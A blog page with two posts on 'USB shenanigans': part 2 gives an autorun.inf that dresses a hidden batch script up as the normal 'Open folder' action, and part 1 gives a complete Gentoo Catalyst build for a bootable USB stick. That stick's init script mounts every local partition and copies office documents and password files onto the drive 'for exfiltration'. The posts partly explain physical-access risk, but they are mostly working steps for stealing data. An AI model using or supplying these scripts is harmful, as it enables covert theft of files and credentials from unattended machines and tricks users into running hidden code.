michaelkirkland.org/blog


USB Shenanigans, part 2

In Part 1 we demonstrated a lean usb bootable system that could be used for shenanigans. That approach requires a rather unattended system, and has the potentially noticeable drawback of requiring a reboot.

Here we'll discuss a method to get similar results without a reboot, and perhaps without even access to the computer in question. That method is the Windows autorun feature, which of course only our friends from Redmond are "helpful" enough to provide.

The autorun feature is a simple script that must be in a file named autorun.inf at the root of a drive. It lets you set a command to be run if the drive is doubleclicked in My Computer, one or more commands to be presented when the drive is inserted, and change the icon used in that list. All very thoughtful and convenient things for people up to no good.

The following is an autorun file that we'll be using:

[autorun]
shellexecute="stuff\stuff.bat"
icon=%systemroot%\system32\shell32.dll,4
action=Open folder to view files
shell\Open\command="stuff\stuff.bat"

This gives us a command in the list displayed that looks very similar to the default "just open the drive" command:

Many people will barely look at the dialog before clicking ok and running whatever shenanigans you have in the command. So long as you do actually open a folder on the drive for them, they may never notice. We can make it less obvious by appealing to our friends in Redmond's tendency to spam about the crapware they like to include. Put an image and audio file on the drive, and Microsoft will happily fill out the dialog with nonsense:

Microsoft has toned down this silliness in Windows 7. You'll not be able to crowd out the real command with spam, and your shenanigans won't be the default action. You can still make your script look inviting, but you'll be a lot less successful as people start upgrading:

I'll assume this is on purpose, most likely at least somewhat due to the multimillion node strong botnet built with the help of this sort of trickery.

However, there are still other ways to pull these shenanigans on Windows machines, without any (human) trickery and we'll cover them in part 3.

1670 Comments >> Bookmark and Share

USB Shenanigans, part 1

In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.

We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the Gentoo Handbook and install it on your PC before you read this.


Creating the Linux system

Overview

To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.

To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.

Portage snapshot

A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:

catalyst -s mpk.0

This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.

Creating the seed stage 3

We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.

We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.

Setting up the Catalyst environment

Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:

storedir="/data/catalyst"
snapshot_cache="/data/catalyst/snapshot_cache"

Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.

We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:

=app-misc/livecd-tools-1.0.40
=sys-apps/hwsetup-1.2

These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.

We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.

Creating the seed stage 1

Write the following to a file named seed-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-2007.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 1 tarball by running:

catalyst -v -f seed-stage1.spec

When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.

Creating the seed stage 2

Write the following to a file named seed-stage2.spec:

subarch: i686
version_stamp: mpk.0
target: stage2
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage1-i686-mpk.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 2 tarball by running:

catalyst -v -f seed-stage2.spec

When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.

Creating the seed stage 3

Write the following to a file named seed-stage3.spec:

subarch: i686
version_stamp: mpk.0
target: stage3
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage2-i686-mpk.0
portage_confdir: /data/catalyst/portage
pkgcache_path:
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 3 tarball by running:

catalyst -v -f seed-stage3.spec

When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.

Creating the LiveCD

Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.

Creating the LiveCD stage 1

Write the following to a file named liveusb-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: livecd-stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-mpk.0
portage_confdir: /data/catalyst/portage

livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils 
xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool

Build the LiveCD stage 1 by running:

catalyst -v -f liveusb-stage1.spec

In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.

Creating the LiveCD stage 2

Write the following to a file named liveusb-stage2.spec:

subarch:i686
version_stamp: mpk.0
target:livecd-stage2
rel_type:default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath:default/livecd-stage1-i686-mpk.0
portage_confdir:/data/catalyst/portage

livecd/type:generic-livecd
livecd/iso: /data/catalyst/livecd_shenanigans.iso
livecd/motd:"Welcome to the USB Shenanigans drive"
livecd/rcadd:
        search_partitions|default
livecd/rcdel:
        spind|default
livecd/root_overlay: /data/catalyst/overlay
livecd/fstype: squashfs
livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2
livecd/volid: Shenanigans Live CD
livecd/gk_mainargs:

Build the LiveCD stage 2 by running:

catalyst -v -f liveusb-stage2.spec

Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.

The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.

The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.

When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.

Creating a LiveUSB image from the LiveCD iso

We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.

Preparing the Flash disk

We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:

mbr-install /dev/sda

Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.

Files needed

From the iso generated by Catalyst, copy the following files to the root of your flash disk:
image.squashfs
livecd
isolinux/gentoo
isolinux/gentoo.igz

Bootloader

Write the following to a file named syslinux.cfg at the root of your flash disk:

default gentoo
timeout 0
prompt 1

label gentoo
  kernel gentoo
  append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs 
loop=/image.squashfs initrd=gentoo.igz

This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.

Shenanigans - Searching the local system


Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.

A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.

#!/sbin/runscript
depend(){
  need hdparm
}

start() {
  einfo "Searching filesystems"

  #tease the real root of the flash disk out of the mount command.
  cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"`

  ebegin "Opening $cdroot for exfiltration"
  #remount the flash drive as writeable so we can tar files into it
  mount $cdroot -o remount,rw
  eend $?

  cd /dev
  for partition in [hs]d[a-z][0-9]
  do
    if [ "/dev/$partition" != $cdroot ]
    then
      ebegin "Mounting /dev/$partition"
      mkdir -p /mnt/$partition
      mount /dev/$partition /mnt/$partition
      eend $?
      if [ $? = 0 ]
      then
	ebegin "Searching /mnt/$partition"
	find /mnt/$partition $findopts > /tmp/$partition.files
	tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files
        eend $?
	umount /mnt/$partition
      fi
      rmdir /mnt/$partition
    fi
  done

  ebegin "Flushing $cdroot"
  #put the flash drive back in read only mode so it gets flushed
  mount $cdroot -o remount,ro
  eend $?
}

Limitations

The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.


References and further reading

  1. HOWTO build a LiveCD with Catalyst for newbies
  2. Gentoo Handbook - Initscripts
695 Comments >> Bookmark and Share